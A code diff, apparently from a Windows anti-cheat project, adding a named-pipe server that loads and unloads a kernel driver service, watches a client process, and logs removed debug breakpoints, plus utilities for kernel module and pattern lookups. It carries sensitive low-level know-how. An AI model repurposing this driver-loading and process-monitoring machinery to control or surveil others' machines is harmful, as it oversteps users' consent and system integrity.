PIMAGE_SECTION_HEADER section = &sections[i];
if (memcmp(section->Name, sectionName, namelength) == 0 &&
namelength == strlen((char*)section->Name)) {
if (!section->VirtualAddress) {
return 0;
}
if (size) {
*size = section->Misc.VirtualSize;
}
return (PVOID)(modulePtr + section->VirtualAddress);
}
}
return 0;
}
std::wstring utils::GetFullTempPath() {
wchar_t temp_directory[MAX_PATH + 1] = { 0 };
const uint32_t get_temp_path_ret = GetTempPathW(sizeof(temp_directory) / 2, temp_directory);
if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH + 1) {
Log(L"[-] Failed to get temp path" << std::endl);
return L"";
}
if (temp_directory[wcslen(temp_directory) - 1] == L'\\')
temp_directory[wcslen(temp_directory) - 1] = 0x0;
return std::wstring(temp_directory);
}
bool utils::CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size) {
std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary);
if (!file_ofstream.write(address, size)) {
file_ofstream.close();
return false;
}
file_ofstream.close();
return true;
}
auto utils::calc_comm_verify_check(int a, int b, int c, int d)->ULONG64
{
int aaaa = c * b;
aaaa = aaaa + a * b + 15561;
int bbb = aaaa + c * a;
bbb = bbb * d - b;
int ddddd = bbb + d * c;
ddddd = ddddd + d * a + 974534;
ddddd = ddddd * d + 21373;
ddddd = ddddd << d;
int ccccc = ddddd | 2335464;
ccccc = ccccc ^ 211424;
ccccc = ccccc ^ a;
int eeeee = ccccc / 835347;
auto calc_verify_val = eeeee;
return calc_verify_val;
}
auto utils::get_random_val(ULONG64 a, ULONG64 b) -> ULONG64
{
ULONG64 t1 = __rdtsc();
ULONG64 v = (((((t1 * (a ^ t1) + t1 * (b * a)) * 0x17) / 7) % (b - a + 1)) + a);
return v;
}
auto utils::GetVersion() -> OSVERSIONINFOW
{
OSVERSIONINFOW os{ 0 };
typedef NTSTATUS(WINAPI* PFNRtlGetVersion)(PRTL_OSVERSIONINFOW);
static PFNRtlGetVersion RtlGetVersion = nullptr;
if (RtlGetVersion == nullptr)
{
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll != NULL)
{
RtlGetVersion = (PFNRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
}
}
RtlGetVersion(&os);
return os;
}
+41
View File
@@ -0,0 +1,41 @@
#pragma once
#include "kd_driver.h"
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
namespace utils
{
auto GetKernelModule(const std::string& module_name) -> uint64_t;
BOOLEAN bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask);
uintptr_t FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
PVOID FindSection(const char* sectionName, uintptr_t modulePtr, PULONG size);
std::wstring GetFullTempPath();
bool CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size);
auto calc_comm_verify_check(int a, int b, int c, int d)->ULONG64;
auto get_random_val(ULONG64 a, ULONG64 b)->ULONG64;
auto GetVersion()->OSVERSIONINFOW;
}
File diff suppressed because it is too large Load Diff
+54
View File
@@ -0,0 +1,54 @@
#include "Base.h"
#include "comm.h"
#include "Mapping.h"
#include "server_palpit.h"
#include "server_pipe.h"
#include "Gui.h"
#include "XorStr.h"
#define MUTEX_NAME XOR_STRING_W(L"Local\\seriver_mutex_anit")
BOOL WINAPI CtrlHandler(DWORD type)
{
switch (type)
{
case CTRL_C_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_CLOSE_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
RequestShutdown(XorStr("console ctrl"));
return TRUE;
default:
return FALSE;
}
}
auto WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) -> int
{
//AllocConsole();
//freopen("CONOUT$", "w+", stdout);
HANDLE mutex = CreateMutex(nullptr, TRUE, MUTEX_NAME);
if (!mutex || GetLastError() == ERROR_ALREADY_EXISTS)
{
if (mutex)
CloseHandle(mutex);
return 0;
}
SetConsoleCtrlHandler(CtrlHandler, TRUE);
Gui::CreateGuiWindow();
StartServer();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
+16
View File
@@ -0,0 +1,16 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 Anit-Cheat_EXE.rc 使用
//
#define IDI_ICON1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
+63
View File
@@ -0,0 +1,63 @@
#include "server_palpit.h"
#include "Mapping.h"
namespace server_palpit
{
DWORD WINAPI palpit_thread(LPVOID parmar)
{
while (true) {
auto mapping_data = reinterpret_cast<PMAPPING_USER_MEMORY>(parmar);
if (!mapping_data->server_pid)
mapping_data->server_pid = GetCurrentProcessId();
//
//尝试打开客户端进程
//
static int fail_index = 0;
static HANDLE hProcess = 0;
auto client_pid = mapping_data->client_pid;
if (hProcess == NULL)
{
if (fail_index > 3)
exit(0);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, client_pid);
fail_index++;
Sleep(1000);
continue;
}
//
//监控客户端进程是否退出
//
DWORD exitCode;
if (GetExitCodeProcess(hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
exit(0);
}
}
Sleep(1000);
}
return 0;
}
auto create_palpit_thread(LPVOID parmar) -> void
{
CreateThread(nullptr, 0, palpit_thread, parmar, 0, nullptr);
}
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#ifndef PALPIT
#define PALPIT
#include "Base.h"
namespace server_palpit
{
//
//public
//
auto create_palpit_thread(LPVOID parmar) -> void;
}
#endif // !PALPIT
+554
View File
@@ -0,0 +1,554 @@
#include "server_pipe.h"
#include "Driver.h"
struct ClientInfo
{
DWORD id = 0;
DWORD pid = 0;
LONG64 last_tick = 0;
LONG active = 1;
HANDLE pipe = nullptr;
std::wstring label;
};
static HANDLE g_exit_event = nullptr;
static LONG g_shutdown_requested = 0;
static LONG g_next_client_id = 0;
static LONG g_seen_client = 0;
static LONG64 g_session_id = 0;
static std::mutex g_clients_mutex;
static std::vector<std::shared_ptr<ClientInfo>> g_clients;
static constexpr DWORD kFirstClientTimeoutMs = 3000;
static void ExitServerProcess(UINT exit_code)
{
printf("[server] ExitProcess code=%u\n", exit_code);
fflush(stdout);
ExitProcess(exit_code);
}
static bool ReadExact(HANDLE pipe, void* buffer, DWORD size)
{
BYTE* ptr = static_cast<BYTE*>(buffer);
DWORD total = 0;
while (total < size)
{
DWORD got = 0;
if (!ReadFile(pipe, ptr + total, size - total, &got, nullptr))
return false;
if (got == 0)
return false;
total += got;
}
return true;
}
static bool WriteExact(HANDLE pipe, const void* buffer, DWORD size)
{
const BYTE* ptr = static_cast<const BYTE*>(buffer);
DWORD total = 0;
while (total < size)
{
DWORD wrote = 0;
if (!WriteFile(pipe, ptr + total, size - total, &wrote, nullptr))
return false;
if (wrote == 0)
return false;
total += wrote;
}
return true;
}
static std::vector<std::shared_ptr<ClientInfo>> SnapshotClients()
{
std::lock_guard<std::mutex> lock(g_clients_mutex);
return g_clients;
}
static void RemoveClient(DWORD id)
{
std::lock_guard<std::mutex> lock(g_clients_mutex);
for (auto& client : g_clients)
{
if (client && client->id == id)
InterlockedExchange(&client->active, 0);
}
g_clients.erase(
std::remove_if(g_clients.begin(), g_clients.end(),
[id](const std::shared_ptr<ClientInfo>& c) { return c && c->id == id; }),
g_clients.end());
if (InterlockedCompareExchange(&g_seen_client, 0, 0) != 0 && g_clients.empty())
{
printf("[server] all clients exited, server shutdown\n");
fflush(stdout);
SetEvent(g_exit_event);
}
}
static std::shared_ptr<ClientInfo> RegisterClient(HANDLE pipe, const Msg& hello)
{
auto client = std::make_shared<ClientInfo>();
client->id = static_cast<DWORD>(InterlockedIncrement(&g_next_client_id));
client->pid = hello.pid;
client->last_tick = static_cast<LONG64>(hello.tick);
client->pipe = pipe;
InterlockedExchange(&g_seen_client, 1);
std::lock_guard<std::mutex> lock(g_clients_mutex);
g_clients.push_back(client);
return client;
}
static void BroadcastExit(const char* reason)
{
auto clients = SnapshotClients();
Msg msg{};
msg.type = static_cast<uint32_t>(MsgType::Exit);
msg.session_id = static_cast<uint64_t>(g_session_id);
printf("[server] broadcast exit: %s\n", reason ? reason : "unknown");
fflush(stdout);
for (auto& client : clients)
{
if (client && client->pipe)
WriteExact(client->pipe, &msg, sizeof(msg));
}
}
void RequestShutdown(const char* reason)
{
if (InterlockedCompareExchange(&g_shutdown_requested, 1, 0) == 0)
{
SetEvent(g_exit_event);
BroadcastExit(reason);
}
}
static bool ReadMessage(HANDLE pipe, Msg& msg)
{
return ReadExact(pipe, &msg, sizeof(msg));
}
static bool WriteMessage(HANDLE pipe, const Msg& msg)
{
return WriteExact(pipe, &msg, sizeof(msg));
}
static bool SendCommandReply(
HANDLE pipe,
const Msg& req,
uint32_t status,
const void* output,
uint32_t output_size)
{
Msg reply{};
reply.type = static_cast<uint32_t>(MsgType::CommandReply);
reply.client_id = req.client_id;
reply.pid = GetCurrentProcessId();
reply.version = kProtocolVersion;
reply.command = req.command;
reply.status = status;
reply.input_size = 0;
reply.output_size = 0;
reply.tick = static_cast<uint64_t>(NowMs());
reply.session_id = static_cast<uint64_t>(g_session_id);
reply.request_id = req.request_id;
if (output && output_size)
{
if (output_size > kPayloadBytes)
return false;
memcpy(reply.payload, output, output_size);
reply.output_size = output_size;
}
return WriteMessage(pipe, reply);
}
static bool SendCommandStatus(HANDLE pipe, const Msg& req, uint32_t status)
{
return SendCommandReply(pipe, req, status, nullptr, 0);
}
static uint32_t HandlePrintf(const std::shared_ptr<ClientInfo>& client, const Msg& req)
{
if (req.input_size < sizeof(PrintfRequest))
return ERROR_INVALID_PARAMETER;
const auto* in = reinterpret_cast<const PrintfRequest*>(req.payload);
printf("[server][printf][client=%lu pid=%lu] %s\n", client->id, client->pid, in->text);
fflush(stdout);
return ERROR_SUCCESS;
}
static uint32_t HandleLoadDriver(const Msg& req)
{
return Driver::fn_get_instance()->driver_install() ? ERROR_SUCCESS : ERROR_INVALID_PARAMETER;
}
static uint32_t HandleUnloadDriver(const Msg& req)
{
if (req.input_size < sizeof(UnloadDriverRequest))
return ERROR_INVALID_PARAMETER;
const auto* in = reinterpret_cast<const UnloadDriverRequest*>(req.payload);
if (!in->service_name[0])
return ERROR_INVALID_PARAMETER;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return GetLastError();
SC_HANDLE service = OpenServiceW(scm, in->service_name, SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS);
if (!service)
{
DWORD err = GetLastError();
CloseServiceHandle(scm);
return err;
}
SERVICE_STATUS status{};
ControlService(service, SERVICE_CONTROL_STOP, &status);
DWORD err = ERROR_SUCCESS;
if (!DeleteService(service))
{
err = GetLastError();
if (err == ERROR_SERVICE_MARKED_FOR_DELETE)
err = ERROR_SUCCESS;
}
CloseServiceHandle(service);
CloseServiceHandle(scm);
return err;
}
static uint32_t HandleBreakpointRemoved(const std::shared_ptr<ClientInfo>& client, const Msg& req)
{
if (req.input_size < sizeof(BreakpointRemovedRequest))
return ERROR_INVALID_PARAMETER;
const auto* in = reinterpret_cast<const BreakpointRemovedRequest*>(req.payload);
printf("[server][breakpoint-removed][client=%lu pid=%lu] tid=%u dr0=0x%llx dr7=0x%llx\n",
client->id,
client->pid,
in->thread_id,
static_cast<unsigned long long>(in->dr0),
static_cast<unsigned long long>(in->dr7));
fflush(stdout);
return ERROR_SUCCESS;
}
static bool DispatchCommand(HANDLE pipe, const std::shared_ptr<ClientInfo>& client, const Msg& req)
{
if (!client)
return SendCommandStatus(pipe, req, ERROR_INVALID_PARAMETER);
if (req.input_size > kPayloadBytes || req.output_size > kPayloadBytes)
return SendCommandStatus(pipe, req, ERROR_INVALID_PARAMETER);
uint32_t status = ERROR_INVALID_FUNCTION;
switch (static_cast<CommandId>(req.command))
{
case CommandId::Printf:
status = HandlePrintf(client, req);
break;
case CommandId::LoadDriver:
status = HandleLoadDriver(req);
break;
case CommandId::UnloadDriver:
status = HandleUnloadDriver(req);
break;
case CommandId::QueryStatus:
status = ERROR_SUCCESS;
break;
case CommandId::BreakpointRemoved:
status = HandleBreakpointRemoved(client, req);
break;
default:
printf("[server] unknown command=%u from client=%lu pid=%lu\n",
req.command, client->id, client->pid);
fflush(stdout);
status = ERROR_INVALID_FUNCTION;
break;
}
return SendCommandStatus(pipe, req, status);
}
static DWORD WINAPI FirstClientTimeoutProc(LPVOID)
{
DWORD wait = WaitForSingleObject(g_exit_event, kFirstClientTimeoutMs);
if (wait == WAIT_TIMEOUT &&
InterlockedCompareExchange(&g_seen_client, 0, 0) == 0)
{
printf("[server] no client connected in %lu ms, server shutdown\n", kFirstClientTimeoutMs);
fflush(stdout);
RequestShutdown("first client timeout");
}
return 0;
}
static DWORD WINAPI MonitorThreadProc(LPVOID)
{
while (WaitForSingleObject(g_exit_event, kHeartbeatIntervalMs) == WAIT_TIMEOUT)
{
const LONG64 now = NowMs();
auto clients = SnapshotClients();
for (const auto& client : clients)
{
if (!client)
continue;
if (InterlockedCompareExchange(&client->active, 0, 0) == 0)
continue;
const LONG64 last = InterlockedCompareExchange64(&client->last_tick, 0, 0);
if (last != 0 && now - last > kHeartbeatTimeoutMs)
{
printf("[server] timeout pid=%lu id=%lu\n", client->pid, client->id);
fflush(stdout);
InterlockedExchange64(&client->last_tick, now);
}
}
}
return 0;
}
static DWORD WINAPI ClientSessionProc(LPVOID param)
{
HANDLE pipe = reinterpret_cast<HANDLE>(param);
Msg hello{};
if (!ReadMessage(pipe, hello) || hello.type != static_cast<uint32_t>(MsgType::Hello))
{
CloseHandle(pipe);
return 0;
}
auto client = RegisterClient(pipe, hello);
printf("[server] client connected id=%lu pid=%lu session=%llu\n",
client->id, client->pid, static_cast<unsigned long long>(hello.session_id));
fflush(stdout);
Msg ack{};
ack.type = static_cast<uint32_t>(MsgType::HelloAck);
ack.client_id = client->id;
ack.pid = GetCurrentProcessId();
ack.version = kProtocolVersion;
ack.tick = static_cast<uint64_t>(NowMs());
ack.session_id = static_cast<uint64_t>(g_session_id);
if (!WriteMessage(pipe, ack))
{
RemoveClient(client->id);
CloseHandle(pipe);
return 0;
}
for (;;)
{
if (WaitForSingleObject(g_exit_event, 0) == WAIT_OBJECT_0)
break;
Msg msg{};
if (!ReadMessage(pipe, msg))
{
printf("[server] client disconnected id=%lu pid=%lu\n", client->id, client->pid);
fflush(stdout);
RemoveClient(client->id);
CloseHandle(pipe);
break;
}
if (msg.session_id != static_cast<uint64_t>(g_session_id))
{
printf("[server] client session mismatch id=%lu pid=%lu msg_session=%llu server_session=%llu\n",
client->id,
client->pid,
static_cast<unsigned long long>(msg.session_id),
static_cast<unsigned long long>(g_session_id));
fflush(stdout);
RemoveClient(client->id);
CloseHandle(pipe);
break;
}
if (msg.type == static_cast<uint32_t>(MsgType::Heartbeat))
{
InterlockedExchange64(&client->last_tick, static_cast<LONG64>(msg.tick));
client->pid = msg.pid;
}
else if (msg.type == static_cast<uint32_t>(MsgType::Goodbye))
{
printf("[server] client goodbye id=%lu pid=%lu\n", client->id, client->pid);
fflush(stdout);
RemoveClient(client->id);
CloseHandle(pipe);
break;
}
else if (msg.type == static_cast<uint32_t>(MsgType::Exit))
{
printf("[server] client exit id=%lu pid=%lu, remove only\n", client->id, client->pid);
fflush(stdout);
RemoveClient(client->id);
CloseHandle(pipe);
break;
}
else if (msg.type == static_cast<uint32_t>(MsgType::CommandRequest))
{
if (!DispatchCommand(pipe, client, msg))
{
printf("[server] command reply failed id=%lu pid=%lu err=%lu\n",
client->id, client->pid, GetLastError());
fflush(stdout);
RemoveClient(client->id);
CloseHandle(pipe);
break;
}
}
}
return 0;
}
static DWORD WINAPI AcceptThreadProc(LPVOID)
{
for (;;)
{
if (WaitForSingleObject(g_exit_event, 0) == WAIT_OBJECT_0)
return 0;
HANDLE pipe = CreateNamedPipeW(
kPipeName,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
sizeof(Msg),
sizeof(Msg),
0,
nullptr);
if (pipe == INVALID_HANDLE_VALUE)
{
printf("[server] CreateNamedPipeW failed: %lu\n", GetLastError());
Sleep(1000);
continue;
}
BOOL connected = ConnectNamedPipe(pipe, nullptr);
if (!connected)
{
DWORD err = GetLastError();
if (err != ERROR_PIPE_CONNECTED)
{
CloseHandle(pipe);
if (WaitForSingleObject(g_exit_event, 0) == WAIT_OBJECT_0)
return 0;
continue;
}
}
HANDLE session_thread = CreateThread(nullptr, 0, ClientSessionProc, pipe, 0, nullptr);
if (!session_thread)
{
printf("[server] ClientSession thread failed: %lu\n", GetLastError());
CloseHandle(pipe);
continue;
}
CloseHandle(session_thread);
}
}
static BOOL WINAPI CtrlHandler(DWORD type)
{
switch (type)
{
case CTRL_C_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_CLOSE_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
RequestShutdown("console ctrl");
return TRUE;
default:
return FALSE;
}
}
static bool InitializeServer()
{
g_exit_event = CreateEventW(nullptr, TRUE, FALSE, nullptr);
if (!g_exit_event)
{
printf("[server] CreateEventW failed: %lu\n", GetLastError());
return false;
}
g_session_id = (static_cast<LONG64>(GetCurrentProcessId()) << 32) ^ NowMs();
printf("[server] started protocol=%u session=%llu pipe=%ws\n",
kProtocolVersion,
static_cast<unsigned long long>(g_session_id),
kPipeName);
fflush(stdout);
return true;
}
auto RunServerCore() -> BOOL
{
HANDLE first_client_timeout_thread = CreateThread(nullptr, 0, FirstClientTimeoutProc, nullptr, 0, nullptr);
if (!first_client_timeout_thread)
{
printf("[server] first client timeout thread failed: %lu\n", GetLastError());
return FALSE;
}
HANDLE monitor_thread = CreateThread(nullptr, 0, MonitorThreadProc, nullptr, 0, nullptr);
if (!monitor_thread)
{
printf("[server] monitor thread failed: %lu\n", GetLastError());
return 1;
}
HANDLE accept_thread = CreateThread(nullptr, 0, AcceptThreadProc, nullptr, 0, nullptr);
if (!accept_thread)
{
printf("[server] accept thread failed: %lu\n", GetLastError());
return 1;
}
WaitForSingleObject(g_exit_event, INFINITE);
BroadcastExit("server shutdown");
Sleep(400);
CloseHandle(accept_thread);
CloseHandle(monitor_thread);
CloseHandle(first_client_timeout_thread);
CloseHandle(g_exit_event);
ExitServerProcess(0);
return TRUE;
}
auto StartServer() -> BOOL
{
if (!InitializeServer())
return FALSE;
return RunServerCore();
}
+103
View File
@@ -0,0 +1,103 @@
#include "Base.h"
static constexpr wchar_t kPipeName[] = L"\\\\.\\pipe\\HB_PIPE_DEMO";
static constexpr DWORD kHeartbeatIntervalMs = 250;
static constexpr DWORD kHeartbeatTimeoutMs = 2000;
static constexpr uint32_t kProtocolVersion = 4;
static constexpr size_t kPayloadBytes = 1024;
enum class MsgType : uint32_t
{
Hello = 1,
HelloAck = 2,
Heartbeat = 3,
Exit = 4,
Goodbye = 5,
CommandRequest = 6,
CommandReply = 7,
};
enum class CommandId : uint32_t
{
None = 0,
Printf = 1,
LoadDriver = 2,
UnloadDriver = 3,
QueryStatus = 4,
BreakpointRemoved = 5,
};
#pragma pack(push, 8)
struct Msg
{
uint32_t type;
uint32_t client_id;
uint32_t pid;
uint32_t version;
uint32_t command;
uint32_t status;
uint32_t input_size;
uint32_t output_size;
uint32_t reserved;
uint64_t tick;
uint64_t session_id;
uint64_t request_id;
uint8_t payload[kPayloadBytes];
};
struct PrintfRequest
{
char text[512];
};
struct LoadDriverRequest
{
wchar_t service_name[128];
wchar_t driver_path[MAX_PATH];
};
struct UnloadDriverRequest
{
wchar_t service_name[128];
};
struct BreakpointRemovedRequest
{
uint32_t thread_id;
uint32_t reserved;
uint64_t dr0;
uint64_t dr7;
};
struct QueryStatusReply
{
DWORD server_pid;
DWORD already_open;
char text[128];
};
#pragma pack(pop)
struct PendingCommand
{
uint32_t command = static_cast<uint32_t>(CommandId::None);
DWORD status = ERROR_GEN_FAILURE;
uint64_t request_id = 0;
std::vector<uint8_t> input;
std::vector<uint8_t> output;
HANDLE done_event = nullptr;
};
static_assert(sizeof(PrintfRequest) <= kPayloadBytes, "PrintfRequest too large");
static_assert(sizeof(LoadDriverRequest) <= kPayloadBytes, "LoadDriverRequest too large");
static_assert(sizeof(UnloadDriverRequest) <= kPayloadBytes, "UnloadDriverRequest too large");
static_assert(sizeof(BreakpointRemovedRequest) <= kPayloadBytes, "BreakpointRemovedRequest too large");
inline LONG64 NowMs()
{
return static_cast<LONG64>(GetTickCount64());
}
auto StartServer()->BOOL;
void RequestShutdown(const char* reason);
File diff suppressed because it is too large Load Diff
+28
View File
@@ -5,6 +5,10 @@ VisualStudioVersion = 16.0.37206.5
MinimumVisualStudioVersion = 10.0.40219.1 MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Anti-Cheat_Driver", "Anti-Cheat_Driver\Anti-Cheat_Driver.vcxproj", "{E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Anti-Cheat_Driver", "Anti-Cheat_Driver\Anti-Cheat_Driver.vcxproj", "{E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}"
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Anit-Cheat_EXE", "Anit-Cheat_EXE\Anit-Cheat_EXE.vcxproj", "{17DDE567-4EAA-4E85-B533-02C4E6451072}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Anit-Cheat_DLL", "Anit-Cheat_DLL\Anit-Cheat_DLL.vcxproj", "{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}"
EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM Debug|ARM = Debug|ARM
@@ -41,6 +45,30 @@ Global
{E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}.Release|x86.ActiveCfg = Release|Win32 {E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}.Release|x86.ActiveCfg = Release|Win32
{E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}.Release|x86.Build.0 = Release|Win32 {E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}.Release|x86.Build.0 = Release|Win32
{E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}.Release|x86.Deploy.0 = Release|Win32 {E15AAB35-A0F2-4401-A41C-4AB5B200C6AD}.Release|x86.Deploy.0 = Release|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Debug|ARM.ActiveCfg = Debug|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Debug|ARM64.ActiveCfg = Debug|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Debug|x64.ActiveCfg = Debug|x64
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Debug|x64.Build.0 = Debug|x64
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Debug|x86.ActiveCfg = Debug|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Debug|x86.Build.0 = Debug|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Release|ARM.ActiveCfg = Release|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Release|ARM64.ActiveCfg = Release|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Release|x64.ActiveCfg = Release|x64
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Release|x64.Build.0 = Release|x64
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Release|x86.ActiveCfg = Release|Win32
{17DDE567-4EAA-4E85-B533-02C4E6451072}.Release|x86.Build.0 = Release|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Debug|ARM.ActiveCfg = Debug|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Debug|ARM64.ActiveCfg = Debug|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Debug|x64.ActiveCfg = Debug|x64
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Debug|x64.Build.0 = Debug|x64
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Debug|x86.ActiveCfg = Debug|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Debug|x86.Build.0 = Debug|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Release|ARM.ActiveCfg = Release|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Release|ARM64.ActiveCfg = Release|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Release|x64.ActiveCfg = Release|x64
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Release|x64.Build.0 = Release|x64
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Release|x86.ActiveCfg = Release|Win32
{5CABFAE0-D81B-47A9-A7BA-BC7510BE19DF}.Release|x86.Build.0 = Release|Win32
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE
+8 -1
View File
@@ -42,6 +42,7 @@
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform> <Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>Anti_Cheat_Driver</RootNamespace> <RootNamespace>Anti_Cheat_Driver</RootNamespace>
<WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
@@ -71,7 +72,7 @@
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset> <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType> <ConfigurationType>Driver</ConfigurationType>
<DriverType>WDM</DriverType> <DriverType>WDM</DriverType>
<Driver_SpectreMitigation>Spectre</Driver_SpectreMitigation> <Driver_SpectreMitigation>false</Driver_SpectreMitigation>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion> <TargetVersion>Windows10</TargetVersion>
@@ -114,12 +115,18 @@
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor> <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
<TargetName>$(TargetName.Replace(' ',''))</TargetName>
<OutDir>$(SolutionDir)Bin\$(Platform)\</OutDir>
<IntDir>$(Platform)\</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor> <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor> <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
<TargetName>Anti_Cheat_Driver</TargetName>
<OutDir>$(SolutionDir)Bin\$(Platform)\</OutDir>
<IntDir>$(Platform)\</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor> <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
+46
View File
@@ -1,11 +1,15 @@
#include "comm_dispatch.h" #include "comm_dispatch.h"
#include "protect_filter.h" #include "protect_filter.h"
#include "anit_screen_grap.h" #include "anit_screen_grap.h"
#include "create_thread_callback.h"
#include "mouse_keybord_hook.h"
